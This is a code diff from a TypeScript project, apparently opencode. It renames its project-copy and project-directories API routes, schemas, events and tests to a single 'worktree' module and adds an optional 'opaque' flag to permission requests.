"/api/experimental/project/{projectID}/copy/refresh": {
|
||||
"/api/experimental/project/{projectID}/worktree/refresh": {
|
||||
"post": {
|
||||
"tags": ["projectCopy"],
|
||||
"operationId": "v2.projectCopy.refresh",
|
||||
"tags": ["worktree"],
|
||||
"operationId": "v2.worktree.refresh",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "projectID",
|
||||
@@ -11216,46 +11104,6 @@
|
||||
"type": "string"
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
{
|
||||
"name": "location",
|
||||
"in": "query",
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"workspace": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": false,
|
||||
"style": "deepObject",
|
||||
"explode": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
@@ -11264,13 +11112,13 @@
|
||||
"description": "<No Content>"
|
||||
},
|
||||
"400": {
|
||||
"description": "ProjectCopyError | InvalidRequestError",
|
||||
"description": "WorktreeError | InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/components/schemas/ProjectCopyError"
|
||||
"$ref": "#/components/schemas/WorktreeError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
@@ -11290,7 +11138,9 @@
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Reconcile stored worktrees with the project repositories.",
|
||||
"summary": "Refresh worktrees"
|
||||
}
|
||||
},
|
||||
"/api/vcs": {
|
||||
@@ -20165,25 +20015,6 @@
|
||||
"required": ["id", "directory", "canonical"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Project.Directory": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"type": "string"
|
||||
},
|
||||
"strategy": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": ["directory"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Project.Directories": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Project.Directory"
|
||||
}
|
||||
},
|
||||
"Form.Metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -20401,6 +20232,9 @@
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"opaque": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -21179,6 +21013,9 @@
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"opaque": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -21323,7 +21160,7 @@
|
||||
"required": ["id", "created", "type", "data"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"project.directories.updated": {
|
||||
"worktree.updated": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
@@ -21342,7 +21179,7 @@
|
||||
},
|
||||
"type": {
|
||||
"type": "string",
|
||||
"enum": ["project.directories.updated"]
|
||||
"enum": ["worktree.updated"]
|
||||
},
|
||||
"location": {
|
||||
"$ref": "#/components/schemas/Location.Ref"
|
||||
@@ -21361,7 +21198,7 @@
|
||||
"required": ["id", "created", "type", "data"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"project.directory.resolved": {
|
||||
"worktree.resolved": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
@@ -21380,7 +21217,7 @@
|
||||
},
|
||||
"type": {
|
||||
"type": "string",
|
||||
"enum": ["project.directory.resolved"]
|
||||
"enum": ["worktree.resolved"]
|
||||
},
|
||||
"durable": {
|
||||
"type": "object",
|
||||
@@ -23558,10 +23395,10 @@
|
||||
"$ref": "#/components/schemas/plugin.updated"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/project.directories.updated"
|
||||
"$ref": "#/components/schemas/worktree.updated"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/project.directory.resolved"
|
||||
"$ref": "#/components/schemas/worktree.resolved"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/command.updated"
|
||||
@@ -23922,7 +23759,26 @@
|
||||
"required": ["name", "path", "source"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"ProjectCopy.Copy": {
|
||||
"Worktree.Directory": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"type": "string"
|
||||
},
|
||||
"strategy": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": ["directory"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Worktree.List": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Worktree.Directory"
|
||||
}
|
||||
},
|
||||
"Worktree.Info": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
@@ -23932,12 +23788,12 @@
|
||||
"required": ["directory"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"ProjectCopyError": {
|
||||
"WorktreeError": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string",
|
||||
"enum": ["ProjectCopyError"]
|
||||
"enum": ["WorktreeError"]
|
||||
},
|
||||
"data": {
|
||||
"type": "object",
|
||||
@@ -25067,7 +24923,7 @@
|
||||
},
|
||||
{
|
||||
"name": "project",
|
||||
"description": "Location-scoped project routes."
|
||||
"description": "Project routes."
|
||||
},
|
||||
{
|
||||
"name": "form",
|
||||
@@ -25110,8 +24966,8 @@
|
||||
"description": "Location-scoped project references."
|
||||
},
|
||||
{
|
||||
"name": "projectCopy",
|
||||
"description": "Project copy management routes."
|
||||
"name": "worktree",
|
||||
"description": "Project worktree management routes."
|
||||
},
|
||||
{
|
||||
"name": "vcs",
|
||||
|
||||
@@ -29,7 +29,7 @@ import { WebSearchGroup } from "./groups/websearch.js"
|
||||
import { McpGroup } from "./groups/mcp.js"
|
||||
import { CredentialGroup } from "./groups/credential.js"
|
||||
import { ProjectGroup } from "./groups/project.js"
|
||||
import { ProjectCopyGroup } from "./groups/project-copy.js"
|
||||
import { WorktreeGroup } from "./groups/worktree.js"
|
||||
import { VcsGroup } from "./groups/vcs.js"
|
||||
import { MigrationGroup } from "./groups/migration.js"
|
||||
import { ConfigGroup } from "./groups/config.js"
|
||||
@@ -52,7 +52,6 @@ type LocationGroups<LocationId extends HttpApiMiddleware.AnyId> =
|
||||
| HttpApiGroup.AddMiddleware<typeof PtyGroup, LocationId>
|
||||
| HttpApiGroup.AddMiddleware<typeof ShellGroup, LocationId>
|
||||
| HttpApiGroup.AddMiddleware<typeof ReferenceGroup, LocationId>
|
||||
| HttpApiGroup.AddMiddleware<typeof ProjectCopyGroup, LocationId>
|
||||
| HttpApiGroup.AddMiddleware<typeof VcsGroup, LocationId>
|
||||
| HttpApiGroup.AddMiddleware<typeof ConfigGroup, LocationId>
|
||||
|
||||
@@ -89,6 +88,7 @@ type ApiGroups<
|
||||
| typeof ServerGroup
|
||||
| typeof DebugGroup
|
||||
| typeof MigrationGroup
|
||||
| typeof WorktreeGroup
|
||||
| LocationGroups<LocationId>
|
||||
| FormGroups<LocationId, LocationService, FormLocationId, FormLocationService>
|
||||
| SessionGroups<SessionLocationId, SessionLocationService>
|
||||
@@ -172,7 +172,7 @@ const makeApiFromGroup = <
|
||||
.add(ShellGroup.middleware(locationMiddleware))
|
||||
.add(makeQuestionGroup(locationMiddleware, sessionLocationMiddleware))
|
||||
.add(ReferenceGroup.middleware(locationMiddleware))
|
||||
.add(ProjectCopyGroup.middleware(locationMiddleware))
|
||||
.add(WorktreeGroup)
|
||||
.add(VcsGroup.middleware(locationMiddleware))
|
||||
.add(DebugGroup)
|
||||
.add(MigrationGroup)
|
||||
|
||||
@@ -60,7 +60,7 @@ export const groupNames = {
|
||||
"server.question": "question",
|
||||
"server.reference": "reference",
|
||||
"server.project": "project",
|
||||
"server.projectCopy": "projectCopy",
|
||||
"server.worktree": "worktree",
|
||||
"server.vcs": "vcs",
|
||||
"server.config": "config",
|
||||
} as const
|
||||
|
||||
@@ -4,7 +4,7 @@ import { Permission } from "@opencode-ai/schema/permission"
|
||||
import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { Session } from "@opencode-ai/schema/session"
|
||||
import { Context, Schema } from "effect"
|
||||
import { Context, Schema, Struct } from "effect"
|
||||
import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
|
||||
import { PermissionNotFoundError, SessionNotFoundError } from "../errors.js"
|
||||
import { LocationQuery, locationQueryOpenApi } from "./location.js"
|
||||
@@ -64,11 +64,7 @@ export const makePermissionGroup = <
|
||||
params: { sessionID: Session.ID },
|
||||
payload: Schema.Struct({
|
||||
id: Permission.ID.pipe(Schema.optional),
|
||||
action: Permission.Request.fields.action,
|
||||
resources: Permission.Request.fields.resources,
|
||||
save: Permission.Request.fields.save,
|
||||
metadata: Permission.Request.fields.metadata,
|
||||
source: Permission.Request.fields.source,
|
||||
...Struct.omit(Permission.Request.fields, ["id", "sessionID"]),
|
||||
agent: Agent.ID.pipe(Schema.optional),
|
||||
}),
|
||||
success: Schema.Struct({
|
||||
|
||||
@@ -1,56 +0,0 @@
|
||||
import { ProjectCopy } from "@opencode-ai/schema/project-copy"
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { Schema, Struct } from "effect"
|
||||
import { HttpApiEndpoint, HttpApiGroup, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
|
||||
import { LocationQuery, locationQueryOpenApi } from "./location.js"
|
||||
|
||||
const root = "/api/experimental/project/:projectID/copy"
|
||||
|
||||
export class ProjectCopyError extends Schema.ErrorClass<ProjectCopyError>("ProjectCopyError")(
|
||||
{
|
||||
name: Schema.Literal("ProjectCopyError"),
|
||||
data: Schema.Struct({
|
||||
message: Schema.String,
|
||||
forceRequired: Schema.optional(Schema.Boolean),
|
||||
}),
|
||||
},
|
||||
{ httpApiStatus: 400 },
|
||||
) {}
|
||||
|
||||
const CreatePayload = Schema.Struct(Struct.omit(ProjectCopy.CreateInput.fields, ["projectID", "sourceDirectory"]))
|
||||
const RemovePayload = Schema.Struct(Struct.omit(ProjectCopy.RemoveInput.fields, ["projectID"]))
|
||||
|
||||
export const ProjectCopyGroup = HttpApiGroup.make("server.projectCopy")
|
||||
.add(
|
||||
HttpApiEndpoint.post("projectCopy.create", root, {
|
||||
params: { projectID: Project.ID },
|
||||
query: LocationQuery,
|
||||
payload: CreatePayload,
|
||||
success: ProjectCopy.Copy,
|
||||
error: ProjectCopyError,
|
||||
})
|
||||
.annotateMerge(locationQueryOpenApi)
|
||||
.annotateMerge(OpenApi.annotations({ identifier: "v2.projectCopy.create" })),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.delete("projectCopy.remove", root, {
|
||||
params: { projectID: Project.ID },
|
||||
query: LocationQuery,
|
||||
payload: RemovePayload,
|
||||
success: HttpApiSchema.NoContent,
|
||||
error: ProjectCopyError,
|
||||
})
|
||||
.annotateMerge(locationQueryOpenApi)
|
||||
.annotateMerge(OpenApi.annotations({ identifier: "v2.projectCopy.remove" })),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.post("projectCopy.refresh", `${root}/refresh`, {
|
||||
params: { projectID: Project.ID },
|
||||
query: LocationQuery,
|
||||
success: HttpApiSchema.NoContent,
|
||||
error: ProjectCopyError,
|
||||
})
|
||||
.annotateMerge(locationQueryOpenApi)
|
||||
.annotateMerge(OpenApi.annotations({ identifier: "v2.projectCopy.refresh" })),
|
||||
)
|
||||
.annotateMerge(OpenApi.annotations({ title: "projectCopy", description: "Project copy management routes." }))
|
||||
@@ -31,24 +31,9 @@ export const ProjectGroup = HttpApiGroup.make("server.project")
|
||||
}),
|
||||
),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.get("project.directories", `${root}/:projectID/directories`, {
|
||||
params: { projectID: Project.ID },
|
||||
query: LocationQuery,
|
||||
success: Project.Directories,
|
||||
})
|
||||
.annotateMerge(locationQueryOpenApi)
|
||||
.annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.project.directories",
|
||||
summary: "List project directories",
|
||||
description: "List known local absolute directories for a project.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.annotateMerge(
|
||||
OpenApi.annotations({
|
||||
title: "project",
|
||||
description: "Location-scoped project routes.",
|
||||
description: "Project routes.",
|
||||
}),
|
||||
)
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { Schema, Struct } from "effect"
|
||||
import { HttpApiEndpoint, HttpApiGroup, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
|
||||
|
||||
const root = "/api/experimental/project/:projectID/worktree"
|
||||
|
||||
export class WorktreeError extends Schema.ErrorClass<WorktreeError>("WorktreeError")(
|
||||
{
|
||||
name: Schema.Literal("WorktreeError"),
|
||||
data: Schema.Struct({
|
||||
message: Schema.String,
|
||||
forceRequired: Schema.optional(Schema.Boolean),
|
||||
}),
|
||||
},
|
||||
{ httpApiStatus: 400 },
|
||||
) {}
|
||||
|
||||
const CreatePayload = Schema.Struct(Struct.omit(Worktree.CreateInput.fields, ["projectID"]))
|
||||
const RemovePayload = Schema.Struct(Struct.omit(Worktree.RemoveInput.fields, ["projectID"]))
|
||||
|
||||
export const WorktreeGroup = HttpApiGroup.make("server.worktree")
|
||||
.add(
|
||||
HttpApiEndpoint.get("worktree.list", root, {
|
||||
params: { projectID: Project.ID },
|
||||
success: Worktree.List,
|
||||
}).annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.worktree.list",
|
||||
summary: "List worktrees",
|
||||
description: "List known local worktrees for a project.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.post("worktree.create", root, {
|
||||
params: { projectID: Project.ID },
|
||||
payload: CreatePayload,
|
||||
success: Worktree.Info,
|
||||
error: WorktreeError,
|
||||
}).annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.worktree.create",
|
||||
summary: "Create worktree",
|
||||
description: "Create a worktree for a project.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.delete("worktree.remove", root, {
|
||||
params: { projectID: Project.ID },
|
||||
payload: RemovePayload,
|
||||
success: HttpApiSchema.NoContent,
|
||||
error: WorktreeError,
|
||||
}).annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.worktree.remove",
|
||||
summary: "Remove worktree",
|
||||
description: "Remove a managed worktree from a project.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.post("worktree.refresh", `${root}/refresh`, {
|
||||
params: { projectID: Project.ID },
|
||||
success: HttpApiSchema.NoContent,
|
||||
error: WorktreeError,
|
||||
}).annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.worktree.refresh",
|
||||
summary: "Refresh worktrees",
|
||||
description: "Reconcile stored worktrees with the project repositories.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.annotateMerge(OpenApi.annotations({ title: "worktree", description: "Project worktree management routes." }))
|
||||
@@ -1,7 +1,7 @@
|
||||
export * as DurableEventManifest from "./durable-event-manifest.js"
|
||||
|
||||
import { Event } from "./event.js"
|
||||
import { ProjectDirectories } from "./project-directories.js"
|
||||
import { Worktree } from "./worktree.js"
|
||||
import { SessionEvent } from "./session-event.js"
|
||||
|
||||
export const SessionDurable = {
|
||||
@@ -9,4 +9,4 @@ export const SessionDurable = {
|
||||
schema: SessionEvent.Durable,
|
||||
} as const
|
||||
|
||||
export const Durable = Event.durableMap([...SessionEvent.DurableDefinitions, ProjectDirectories.Event.Resolved])
|
||||
export const Durable = Event.durableMap([...SessionEvent.DurableDefinitions, Worktree.Event.Resolved])
|
||||
|
||||
@@ -19,7 +19,7 @@ import { ModelsDev } from "./models-dev.js"
|
||||
import { Permission } from "./permission.js"
|
||||
import { Plugin } from "./plugin.js"
|
||||
import { Project } from "./project.js"
|
||||
import { ProjectDirectories } from "./project-directories.js"
|
||||
import { Worktree } from "./worktree.js"
|
||||
import { Pty } from "./pty.js"
|
||||
import { Question } from "./question.js"
|
||||
import { Reference } from "./reference.js"
|
||||
@@ -50,7 +50,7 @@ const featureDefinitions = Event.inventory(
|
||||
...Reference.Event.Definitions,
|
||||
...Permission.Event.Definitions,
|
||||
...Plugin.Event.Definitions,
|
||||
...ProjectDirectories.Event.Definitions,
|
||||
...Worktree.Event.Definitions,
|
||||
...Command.Event.Definitions,
|
||||
...Config.Event.Definitions,
|
||||
...Skill.Event.Definitions,
|
||||
|
||||
@@ -16,7 +16,7 @@ export { Money } from "./money.js"
|
||||
export { Permission } from "./permission.js"
|
||||
export { PermissionSaved } from "./permission-saved.js"
|
||||
export { Project } from "./project.js"
|
||||
export { ProjectCopy } from "./project-copy.js"
|
||||
export { Worktree } from "./worktree.js"
|
||||
export { Provider } from "./provider.js"
|
||||
export { Reference } from "./reference.js"
|
||||
export { WebSearch } from "./websearch.js"
|
||||
|
||||
@@ -27,6 +27,7 @@ const RequestFields = {
|
||||
action: Schema.String,
|
||||
resources: Schema.Array(Schema.String),
|
||||
save: Schema.Array(Schema.String).pipe(optional),
|
||||
opaque: Schema.Boolean.pipe(optional),
|
||||
metadata: Schema.Record(Schema.String, Schema.Unknown).pipe(optional),
|
||||
source: Source.pipe(optional),
|
||||
}
|
||||
|
||||
@@ -1,30 +0,0 @@
|
||||
export * as ProjectCopy from "./project-copy.js"
|
||||
|
||||
import { Schema } from "effect"
|
||||
import { optional } from "./schema.js"
|
||||
import { ProjectID } from "./project-id.js"
|
||||
import { AbsolutePath } from "./schema.js"
|
||||
|
||||
export const StrategyID = Schema.Trim.pipe(Schema.check(Schema.isNonEmpty()), Schema.brand("ProjectCopy.StrategyID"))
|
||||
export type StrategyID = typeof StrategyID.Type
|
||||
|
||||
export const CreateInput = Schema.Struct({
|
||||
projectID: ProjectID,
|
||||
strategy: StrategyID,
|
||||
sourceDirectory: AbsolutePath,
|
||||
directory: AbsolutePath,
|
||||
name: optional(Schema.String),
|
||||
}).annotate({ identifier: "ProjectCopy.CreateInput" })
|
||||
export interface CreateInput extends Schema.Schema.Type<typeof CreateInput> {}
|
||||
|
||||
export const RemoveInput = Schema.Struct({
|
||||
projectID: ProjectID,
|
||||
directory: AbsolutePath,
|
||||
force: Schema.Boolean,
|
||||
}).annotate({ identifier: "ProjectCopy.RemoveInput" })
|
||||
export interface RemoveInput extends Schema.Schema.Type<typeof RemoveInput> {}
|
||||
|
||||
export const Copy = Schema.Struct({
|
||||
directory: AbsolutePath,
|
||||
}).annotate({ identifier: "ProjectCopy.Copy" })
|
||||
export interface Copy extends Schema.Schema.Type<typeof Copy> {}
|
||||
@@ -1,53 +0,0 @@
|
||||
export * as ProjectDirectories from "./project-directories.js"
|
||||
|
||||
import { durable, ephemeral, inventory } from "./event.js"
|
||||
import { AbsolutePath } from "./schema.js"
|
||||
import { Project } from "./project.js"
|
||||
|
||||
const Updated = ephemeral({
|
||||
type: "project.directories.updated",
|
||||
schema: { projectID: Project.ID },
|
||||
})
|
||||
|
||||
/**
|
||||
* A directory's resolution changed: it now resolves to `projectID` where it
|
||||
* previously resolved to `previous` (`global` when the directory had no
|
||||
* stable identity yet, e.g. before `git init`). Sessions whose ownership
|
||||
* came from the previous resolution follow the new identity by projection.
|
||||
*/
|
||||
const Resolved = durable({
|
||||
type: "project.directory.resolved",
|
||||
durable: { aggregate: "projectID", version: 1 },
|
||||
schema: {
|
||||
projectID: Project.ID,
|
||||
directory: AbsolutePath,
|
||||
previous: Project.ID,
|
||||
},
|
||||
})
|
||||
export const Event = { Updated, Resolved, Definitions: inventory(Updated, Resolved) }
|
||||
|
||||
/**
|
||||
* Client-side mirror of the server's `project.directory.resolved` session fold.
|
||||
* Returns the ownership update for a cached session, or undefined when the
|
||||
* session does not follow the resolution. Plain strings: callers hold
|
||||
* generated client types, and the server projection remains authoritative.
|
||||
*/
|
||||
export function adopt(
|
||||
session: { readonly projectID: string; readonly directory: string },
|
||||
event: { readonly projectID: string; readonly directory: string; readonly previous: string },
|
||||
) {
|
||||
if (session.projectID !== event.previous && session.projectID !== Project.ID.global) return
|
||||
if (session.projectID === event.projectID) return
|
||||
const inside =
|
||||
session.directory === event.directory ||
|
||||
session.directory.startsWith(event.directory + "/") ||
|
||||
session.directory.startsWith(event.directory + "\\")
|
||||
if (!inside) return
|
||||
return {
|
||||
projectID: event.projectID,
|
||||
subpath:
|
||||
session.directory === event.directory
|
||||
? undefined
|
||||
: session.directory.slice(event.directory.length + 1).replaceAll("\\", "/"),
|
||||
}
|
||||
}
|
||||
@@ -15,17 +15,6 @@ export const Current = Schema.Struct({
|
||||
canonical: AbsolutePath,
|
||||
}).annotate({ identifier: "Project.Current" })
|
||||
export interface Current extends Schema.Schema.Type<typeof Current> {}
|
||||
export const Directory = Schema.Struct({
|
||||
directory: AbsolutePath,
|
||||
strategy: optional(Schema.String),
|
||||
}).annotate({ identifier: "Project.Directory" })
|
||||
export interface Directory extends Schema.Schema.Type<typeof Directory> {}
|
||||
export const DirectoriesInput = Schema.Struct({
|
||||
projectID: ID,
|
||||
}).annotate({ identifier: "Project.DirectoriesInput" })
|
||||
export interface DirectoriesInput extends Schema.Schema.Type<typeof DirectoriesInput> {}
|
||||
export const Directories = Schema.Array(Directory).annotate({ identifier: "Project.Directories" })
|
||||
export type Directories = typeof Directories.Type
|
||||
export const Icon = Schema.Struct({
|
||||
url: optional(Schema.String),
|
||||
override: optional(Schema.String),
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
export * as Worktree from "./worktree.js"
|
||||
|
||||
import { Schema } from "effect"
|
||||
import { durable, ephemeral, inventory } from "./event.js"
|
||||
import { ProjectID } from "./project-id.js"
|
||||
import { AbsolutePath, optional } from "./schema.js"
|
||||
import { Project } from "./project.js"
|
||||
|
||||
export const StrategyID = Schema.Trim.pipe(Schema.check(Schema.isNonEmpty()), Schema.brand("Worktree.StrategyID"))
|
||||
export type StrategyID = typeof StrategyID.Type
|
||||
|
||||
export const CreateInput = Schema.Struct({
|
||||
projectID: ProjectID,
|
||||
strategy: StrategyID,
|
||||
from: optional(AbsolutePath),
|
||||
directory: AbsolutePath,
|
||||
name: optional(Schema.String),
|
||||
}).annotate({ identifier: "Worktree.CreateInput" })
|
||||
export interface CreateInput extends Schema.Schema.Type<typeof CreateInput> {}
|
||||
|
||||
export const RemoveInput = Schema.Struct({
|
||||
projectID: ProjectID,
|
||||
directory: AbsolutePath,
|
||||
force: Schema.Boolean,
|
||||
}).annotate({ identifier: "Worktree.RemoveInput" })
|
||||
export interface RemoveInput extends Schema.Schema.Type<typeof RemoveInput> {}
|
||||
|
||||
export const Info = Schema.Struct({
|
||||
directory: AbsolutePath,
|
||||
}).annotate({ identifier: "Worktree.Info" })
|
||||
export interface Info extends Schema.Schema.Type<typeof Info> {}
|
||||
|
||||
export const Directory = Schema.Struct({
|
||||
directory: AbsolutePath,
|
||||
strategy: optional(Schema.String),
|
||||
}).annotate({ identifier: "Worktree.Directory" })
|
||||
export interface Directory extends Schema.Schema.Type<typeof Directory> {}
|
||||
|
||||
export const ListInput = Schema.Struct({
|
||||
projectID: ProjectID,
|
||||
}).annotate({ identifier: "Worktree.ListInput" })
|
||||
export interface ListInput extends Schema.Schema.Type<typeof ListInput> {}
|
||||
|
||||
export const List = Schema.Array(Directory).annotate({ identifier: "Worktree.List" })
|
||||
export type List = typeof List.Type
|
||||
|
||||
const Updated = ephemeral({
|
||||
type: "worktree.updated",
|
||||
schema: { projectID: Project.ID },
|
||||
})
|
||||
|
||||
const Resolved = durable({
|
||||
type: "worktree.resolved",
|
||||
durable: { aggregate: "projectID", version: 1 },
|
||||
schema: {
|
||||
projectID: Project.ID,
|
||||
directory: AbsolutePath,
|
||||
previous: Project.ID,
|
||||
},
|
||||
})
|
||||
|
||||
export const Event = { Updated, Resolved, Definitions: inventory(Updated, Resolved) }
|
||||
|
||||
export function adopt(
|
||||
session: { readonly projectID: string; readonly directory: string },
|
||||
event: { readonly projectID: string; readonly directory: string; readonly previous: string },
|
||||
) {
|
||||
if (session.projectID !== event.previous && session.projectID !== Project.ID.global) return
|
||||
if (session.projectID === event.projectID) return
|
||||
const inside =
|
||||
session.directory === event.directory ||
|
||||
session.directory.startsWith(event.directory + "/") ||
|
||||
session.directory.startsWith(event.directory + "\\")
|
||||
if (!inside) return
|
||||
return {
|
||||
projectID: event.projectID,
|
||||
subpath:
|
||||
session.directory === event.directory
|
||||
? undefined
|
||||
: session.directory.slice(event.directory.length + 1).replaceAll("\\", "/"),
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import { Money } from "../src/money.js"
|
||||
import { Skill } from "../src/skill.js"
|
||||
import { Shell } from "../src/shell.js"
|
||||
import { Vcs } from "../src/vcs.js"
|
||||
import { Worktree } from "../src/worktree.js"
|
||||
import { PersistedRevert } from "../src/session-revert.js"
|
||||
import { AbsolutePath, optional } from "../src/schema.js"
|
||||
|
||||
@@ -157,9 +158,9 @@ describe("contract hygiene", () => {
|
||||
Model.Cost,
|
||||
Model.Variant,
|
||||
Project.Current,
|
||||
Project.Directory,
|
||||
Project.DirectoriesInput,
|
||||
Project.Directories,
|
||||
Worktree.Directory,
|
||||
Worktree.ListInput,
|
||||
Worktree.List,
|
||||
Project.Icon,
|
||||
Project.Commands,
|
||||
Project.Time,
|
||||
|
||||
@@ -114,7 +114,7 @@ describe("public event manifest", () => {
|
||||
"session.revert.staged.1",
|
||||
"session.revert.cleared.1",
|
||||
"session.revert.committed.1",
|
||||
"project.directory.resolved.1",
|
||||
"worktree.resolved.1",
|
||||
].toSorted(),
|
||||
)
|
||||
expect(SessionEvent.DurableDefinitions).toEqual([
|
||||
|
||||
@@ -15,7 +15,7 @@ export { Model } from "@opencode-ai/schema/model"
|
||||
export { Permission } from "@opencode-ai/schema/permission"
|
||||
export { PermissionSaved } from "@opencode-ai/schema/permission-saved"
|
||||
export { Project } from "@opencode-ai/schema/project"
|
||||
export { ProjectCopy } from "@opencode-ai/schema/project-copy"
|
||||
export { Worktree } from "@opencode-ai/schema/worktree"
|
||||
export { Prompt } from "@opencode-ai/schema/prompt"
|
||||
export { PromptInput } from "@opencode-ai/schema/prompt-input"
|
||||
export { Provider } from "@opencode-ai/schema/provider"
|
||||
|
||||
@@ -14,6 +14,7 @@ import { Session } from "@opencode-ai/schema/session"
|
||||
import { SessionInbox } from "@opencode-ai/schema/session-inbox"
|
||||
import { SessionMessage } from "@opencode-ai/schema/session-message"
|
||||
import { Workspace } from "@opencode-ai/schema/workspace"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { Api } from "@opencode-ai/server/api"
|
||||
import { ClientApi, groupNames, promiseOmitEndpoints } from "@opencode-ai/protocol/client"
|
||||
import { compile, emitPromise } from "@opencode-ai/httpapi-codegen"
|
||||
@@ -23,6 +24,7 @@ const CoreAgent = await import("@opencode-ai/core/agent")
|
||||
const CoreModel = await import("@opencode-ai/core/model")
|
||||
const CoreProject = await import("@opencode-ai/core/project")
|
||||
const CoreSession = await import("@opencode-ai/core/session")
|
||||
const CoreWorktree = await import("@opencode-ai/core/worktree")
|
||||
|
||||
test("re-exports canonical contracts directly from Schema", () => {
|
||||
expect(SDK.Agent).toBe(Agent)
|
||||
@@ -31,6 +33,7 @@ test("re-exports canonical contracts directly from Schema", () => {
|
||||
expect(SDK.Model).toBe(Model)
|
||||
expect(SDK.WebSearch).toBe(WebSearch)
|
||||
expect(SDK.Session).toBe(Session)
|
||||
expect(SDK.Worktree).toBe(Worktree)
|
||||
expect(SDK.Workspace).toBe(Workspace)
|
||||
expect(Object.keys(SDK).sort()).toEqual([
|
||||
"AbsolutePath",
|
||||
@@ -48,7 +51,6 @@ test("re-exports canonical contracts directly from Schema", () => {
|
||||
"Permission",
|
||||
"PermissionSaved",
|
||||
"Project",
|
||||
"ProjectCopy",
|
||||
"Prompt",
|
||||
"PromptInput",
|
||||
"Provider",
|
||||
@@ -63,6 +65,7 @@ test("re-exports canonical contracts directly from Schema", () => {
|
||||
"Tool",
|
||||
"WebSearch",
|
||||
"Workspace",
|
||||
"Worktree",
|
||||
])
|
||||
})
|
||||
|
||||
@@ -72,8 +75,9 @@ test("Core and Server reuse the authoritative Schema and Protocol values", () =>
|
||||
expect(CoreModel.Ref).toBe(Model.Ref)
|
||||
expect(CoreSession.Info).toBe(Session.Info)
|
||||
expect(CoreProject.Current).toBe(Project.Current)
|
||||
expect(CoreProject.Directory).toBe(Project.Directory)
|
||||
expect(CoreProject.Directories).toBe(Project.Directories)
|
||||
expect(CoreWorktree.DirectoryUnavailableError).toBeDefined()
|
||||
expect(CoreWorktree.List).toBe(Worktree.List)
|
||||
expect(CoreWorktree.Info).toBe(Worktree.Info)
|
||||
expect(CoreSessionInbox.Item).toBe(SessionInbox.Item)
|
||||
